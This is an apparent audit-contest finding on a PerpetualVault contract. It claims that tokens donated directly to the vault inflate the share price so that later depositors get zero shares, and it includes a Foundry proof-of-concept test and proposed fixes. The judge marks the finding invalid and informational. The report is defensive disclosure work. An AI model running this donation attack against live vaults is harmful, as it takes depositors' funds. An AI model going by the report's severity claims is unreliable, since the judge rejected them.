DeFiFoundry
50,000 USDC
View results
Submission Details
Severity: low
Invalid

Lack of shares protection mechanism and vulnerable shares calculation logic will cause users loss funds

Description

In the deposit() function, since the shares for a new user are calculated based on the balance of collateralToken (collateralToken.balanceOf(address(this))), It is not equal to the vault's actual totalDepositAmount.An attacker can directly transfer additional collateralToken to the vault, causing the calculated shares for the new user to become 0. This disrupts the vault's fund allocation and affects the shares of users.

vulnerability Detail

In the deposit() function, when positionIsClosed is true (i.e., there are no open positions), it directly calls _mint to allocate shares to the new user.

file:PerpetualVault.sol::deposit()
function deposit(uint256 amount) external nonReentrant payable {
...
if (positionIsClosed) {
MarketPrices memory prices;
_mint(counter, amount, false, prices);
_finalize(hex'');
}
...
}
file:PerpetualVault.sol::_mint()
function _mint(uint256 depositId, uint256 amount, bool refundFee, MarketPrices memory prices) internal {
uint256 _shares;
if (totalShares == 0) {
...
} else {
uint256 totalAmountBefore;
if (positionIsClosed == false && _isLongOneLeverage(beenLong)) {
...
} else {
totalAmountBefore = _totalAmount(prices) - amount;
}
depositInfo[depositId].shares = _shares;
totalShares = totalShares + _shares;
...
}

When the position is not open, totalAmountBefore will be calculated by calling _totalAmount(prices).

file:PerpetualVault.sol::_totalAmount()
function _totalAmount(MarketPrices memory prices) internal view returns (uint256) {
if (positionIsClosed) {
return collateralToken.balanceOf(address(this));
} else {
...
}
}

Therefore, the calculation formula for the user's shares is as follows when positionIsClosed is true:

_shares = amount * totalShares / collateralToken.balanceOf(address(this));

collateralToken.balanceOf(address(this)) is the current balance of collateralToken (e.g., USDC) held by the vault. This balance includes not only the funds deposited by users through the deposit function but also any collateralToken directly transferred to the contract address. If an attacker transfers a large amount of additional collateralToken to the vault before a user deposits,totalAmountBefore will significantly increase, causing the calculated shares for the new user to approach 0.The vault's totalDepositAmount does not increase as expected with the rise of collateralToken.balanceOf(address(this)) to reach maxDepositAmount. Normal user deposits will suffer financial losses.

Since this vulnerability occurs in the _mint() function, when the position is normally opened (i.e.,positionIsClosed is false , beenLong is false), subsequent users who choose to increase their positions will still be affected by this attack. At this point, the attacker could be any previous position holder or even multiple position holders (an attack involving collaboration among multiple position holders would be particularly interesting). Similarly, the financial losses of users increasing their positions will become profits for the position holders, which can then be withdrawn.

When a user call deposit() function to add position,flow flag will set to DEPOSIT,and nextAction.selector will set to INCREASE_ACTION.

file:PerpetualVault.sol::deposit()
function deposit(uint256 amount) external nonReentrant payable {
_noneFlow();
...
flow = FLOW.DEPOSIT;
...
if (positionIsClosed) {
...
} else {
_payExecutionFee(counter, true);
// mint share token in the NextAction to involve off-chain price data and improve security
nextAction.selector = NextActionSelector.INCREASE_ACTION;
nextAction.data = abi.encode(beenLong);
}
}

then, keeper will call nextAction() to create a MarketIncrease type order in gmxProxy.sol. When the order execute success, afterOrderCancellation() in PerpetualVault.sol will be call by gmxProxy.sol, then go to _mint() function and calculate the shares user can recieve with same logic.

file:PerpetualVault.sol::afterOrderExecution()
function afterOrderExecution(
bytes32 requestKey,
bytes32 positionKey,
IGmxProxy.OrderResultData memory orderResultData,
MarketPrices memory prices
) external nonReentrant {
if (msg.sender != address(gmxProxy)) {
revert Error.InvalidCall();
}
...
if (orderResultData.orderType == Order.OrderType.MarketIncrease) {
curPositionKey = positionKey;
if (flow == FLOW.DEPOSIT) {
uint256 amount = depositInfo[counter].amount;
uint256 feeAmount = vaultReader.getPositionFeeUsd(market, orderResultData.sizeDeltaUsd, false) / prices.shortTokenPrice.min;
uint256 prevSizeInTokens = flowData;
int256 priceImpact = vaultReader.getPriceImpactInCollateral(curPositionKey, orderResultData.sizeDeltaUsd, prevSizeInTokens, prices);
uint256 increased;
if (priceImpact > 0) {
increased = amount - feeAmount - uint256(priceImpact) - 1;
} else {
increased = amount - feeAmount + uint256(-priceImpact) - 1;
}
_mint(counter, increased, false, prices);// go to this
nextAction.selector = NextActionSelector.FINALIZE;
} else {// not go to
_updateState(false, orderResultData.isLong);
}
}
...
emit GmxPositionCallbackCalled(requestKey, true);
if (flow == FLOW.SIGNAL_CHANGE) {
emit GmxPositionUpdated(
positionKey,
market,
orderResultData.orderType == Order.OrderType.MarketIncrease,
orderResultData.isLong,
orderResultData.sizeDeltaUsd,
prices.indexTokenPrice.min
);
}
}

Attack Example:

  1. attacker deposit 1000 collateralToken, receive 1000 shares.

  2. Attacker Transfers Additional Funds:The attacker transfers 1,000,000 USDC to the vault via collateralToken.transfer(address(vault), 1_000_000).At this point, collateralToken.balanceOf(address(this)) = 1_001_000 USDC.

  3. User B Deposits:User B calls deposit(1000) and deposits 1000 USDC.After the deposit, collateralToken.balanceOf(address(this)) = 1_002_000 USDC

  4. In _mint: amount = 1000totalAmountBefore = 1_002_000 - 1000 = 1_001_000, totalShares = 1000.

    thus, _shares = 1000 * 1000 / 1_001_000 ≈ 0.9990 (Solidity integer division rounds down).

  5. User B receives _shares of 0.

In an edge case, if the attacker performs a large transfer (e.g., (maxDepositAmount - minDepositAmount)* 1e8 * minDepositAmount + 1), it will cause the shares obtained by any subsequent user depositing an amount to be 0, and the amount deposited by the user will become withdrawable by the attacker.Although the attacker incurs a 5% fee that needs to be transferred to the treasury, if the total loss of users exceeds this amount, the attacker will still profit.

In the normal case,user will also loss funds because shares approve 0. This funds deposited by the user will become withdrawable by the attacker.Although the attacker incurs a 5% fee that needs to be transferred to the treasury, if the total loss of users exceeds this amount, the attacker will still profit.

Amplification Effect in above case. Interestingly, if a large number of small depositors who will obtain 0 shares, their deposit funds will strengthen the attacker’s attack vector (the amount of malicious transfer) because the collateralToken.balanceOf(address(this)) will increase by the small depositors.The reason is small depositors obtain 0 shares eventhought transfer the collateralToken to the vault in the deposit() function. This will require subsequent normal depositors to deposit a higher amount to obtain non-0 shares, and the deposit threshold will gradually increase.This will increases the likelihood of successful attacks and the attacker’s profits.

file:PerpetualVault.sol::deposit()
function deposit(uint256 amount) external nonReentrant payable {
_noneFlow();
if (depositPaused == true) {
revert Error.Paused();
}
if (amount < minDepositAmount) {
revert Error.InsufficientAmount();
}
if (totalDepositAmount + amount > maxDepositAmount) {
revert Error.ExceedMaxDepositCap();
}
flow = FLOW.DEPOSIT;
collateralToken.safeTransferFrom(msg.sender, address(this), amount);
//small depositors obtain `0 shares` eventhought transfer the `collateralToken` to the `vault` in the `deposit()` function,
//will strengthen the attacker’s attack vector (the amount of malicious transfer by attacker), and the `collateralToken.balanceOf(address(this))` will increase by the small depositors.
counter++;
depositInfo[counter] = DepositInfo(amount, 0, msg.sender, 0, block.timestamp, address(0));
totalDepositAmount += amount;
EnumerableSet.add(userDeposits[msg.sender], counter);
...
}

Impact

  1. Users cannot withdraw their funds because their shares are 0. After the attacker withdraws their shares, users will lose their entire deposited amount.

file:PerpetualVault.sol::_withdraw()
function _withdraw(uint256 depositId, bytes memory metadata, MarketPrices memory prices) internal {
uint256 shares = depositInfo[depositId].shares;
if (shares == 0) {
revert Error.ZeroValue();
}
...
}

2.Users loss funds because shares are unfairly distributed.

3.The accumulation of funds from small depositors amplifies the attack effect, making the entry cost for normal depositors higher.

Tools Used

foundry

POC

/// @notice run in PerpetualVault.t.sol
function test_poc() external {
// attacker deposit
address alice = makeAddr("alice");
depositFixture(alice, 1e8);// usdc decimal == 1e6 ,\_minDepositAmount == 1e8,\_maxDepositAmount == 1e28
vm.startPrank(alice);
// attacker transfer usdc to vault
IERC20 collateralToken = PerpetualVault(vault).collateralToken();
vm.startPrank(alice);
deal(address(collateralToken), alice, 1e28);
emit log_named_decimal_uint("attacker collateralToken balance before attack:", collateralToken.balanceOf(alice), 6);
collateralToken.transfer(vault, 1e28);
emit log_named_decimal_uint("attacker collateralToken balance after transfer:", collateralToken.balanceOf(alice), 6);
emit log_named_decimal_uint("vault collateralToken balance after transfer:", collateralToken.balanceOf(vault), 6);
// check attacker shares
uint256[] memory depositIds_alice = PerpetualVault(vault).getUserDeposits(alice);
( , uint256 alice_shares, , , ,) = PerpetualVault(vault).depositInfo(uint256(depositIds_alice[0]));
emit log_named_decimal_uint("attacker vault shares after deposit:", alice_shares, 0);
emit log_named_decimal_uint("vault total shares:", PerpetualVault(vault).totalShares(), 0);
vm.stopPrank();
// check vitim shares
address bob = makeAddr("bob");
depositFixture(bob, 1e13);
emit log_named_decimal_uint("bob collateralToken balance after deposit:", collateralToken.balanceOf(bob), 6);
emit log_named_decimal_uint("vault collateralToken balance after deposit:", collateralToken.balanceOf(vault), 6);
uint256[] memory depositIds_bob = PerpetualVault(vault).getUserDeposits(bob);
( , uint256 bob_shares, , , ,) = PerpetualVault(vault).depositInfo(uint256(depositIds_bob[0]));
emit log_named_decimal_uint("vitim vault shares after deposit:", bob_shares, 0);
emit log_named_decimal_uint("vault total shares:", PerpetualVault(vault).totalShares(), 0);
// check vitim shares
address jack = makeAddr("jack");
depositFixture(jack, 1e13);
emit log_named_decimal_uint("jack collateralToken balance after deposit:", collateralToken.balanceOf(jack), 6);
emit log_named_decimal_uint("vault collateralToken balance after deposit:", collateralToken.balanceOf(vault), 6);
uint256[] memory depositIds_jack = PerpetualVault(vault).getUserDeposits(jack);
( , uint256 jack_shares, , , ,) = PerpetualVault(vault).depositInfo(uint256(depositIds_jack[0]));
emit log_named_decimal_uint("vitim vault shares after deposit:", jack_shares, 0);
emit log_named_decimal_uint("vault total shares:", PerpetualVault(vault).totalShares(), 0);
uint256 executionFee = PerpetualVault(vault).getExecutionGasLimit(false);
// vitim withdraw
vm.startPrank(bob);
uint256 lockTime = PerpetualVault(vault).lockTime();
vm.warp(block.timestamp + lockTime + 1);
PerpetualVault(vault).withdraw{value: executionFee * tx.gasprice}(bob, depositIds_bob[0]);
// check vitim collateralToken balance,loss ~= 10% funds
emit log_named_decimal_uint("vitim collateralToken balance after withdraw:", collateralToken.balanceOf(bob), 6);
vm.stopPrank();
// check vitim collateralToken balance,loss ~= 10% funds
vm.startPrank(jack);
PerpetualVault(vault).withdraw{value: executionFee * tx.gasprice}(jack, depositIds_jack[0]);
emit log_named_decimal_uint("jack collateralToken balance after withdraw:", collateralToken.balanceOf(jack), 6);
emit log_named_decimal_uint("vault collateralToken balance after withdraw:", collateralToken.balanceOf(vault), 6);
vm.stopPrank();
assertEq(uint8(PerpetualVault(vault).flow()), 0);
assertEq(PerpetualVault(vault).positionIsClosed(), true);
(PerpetualVault.NextActionSelector selector, ) = PerpetualVault(vault).nextAction();
assertEq(uint8(selector), 0);
// assertEq(uint8(PerpetualVault(vault).isNextAction()), 0);
}

Recommendations

Add Shares Protection Mechanism:

call _cancelFlow() when user'shares be 0 in the _mint() function.

file:PerpetualVault.sol::_mint()
function _mint(uint256 depositId, uint256 amount, bool refundFee, MarketPrices memory prices) internal {
uint256 _shares;
...
if(_shares == 0){
_cancelFlow()//return collateralToken to user and delete the depositInfo
}
depositInfo[depositId].shares = _shares;
totalShares = totalShares + _shares;
if (refundFee) {
uint256 usedFee = callbackGasLimit * tx.gasprice;
if (depositInfo[counter].executionFee > usedFee) {
try IGmxProxy(gmxProxy).refundExecutionFee(depositInfo[counter].owner, depositInfo[counter].executionFee - usedFee) {} catch {}
}
}
emit Minted(depositId, depositInfo[depositId].owner, _shares, amount);
}

Use Internal Accounting Variable:

Use totalDepositAmount (which tracks the total amount of user deposits) instead of collateralToken.balanceOf(address(this)).Ensure that totalAmountBefore is only updated through deposit and withdraw, unaffected by external transfers.

  • For Example, Modify _mint:

    file:PerpetualVault.sol::_mint()
    function _mint(uint256 depositId, uint256 amount, bool refundFee, MarketPrices memory prices) internal {
    ...
    if (positionIsClosed) {
    totalAmountBefore = totalDepositAmount - amount;
    }
    ...
    }
Updates

Lead Judging Commences

n0kto Lead Judge 9 months ago
Submission Judgement Published
Invalidated
Reason: Non-acceptable severity
Assigned finding tags:

invalid_collateral_balanceOf_donation

Prevent tokens from getting stuck. This is a simple donation to every shareholder, and therefore, every share has more value (profit), leading to fewer shares for future users. If this is not intended by the user, it is merely a mistake! For totalAmountBefore > amount * totalShares, Here is the worst-case scenario (with the minimum amount): first deposit 0.001000 (e4) USDC → 1e12 shares. Second deposit: 0.001 (e4) USDC * 1e12 / 0.001 (e4) USDC. So, the attacker would need to donate 1e16 tokens, meaning 1e10 USDC → 10 billion $. Even in the worst case, it's informational.

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.

Give us feedback!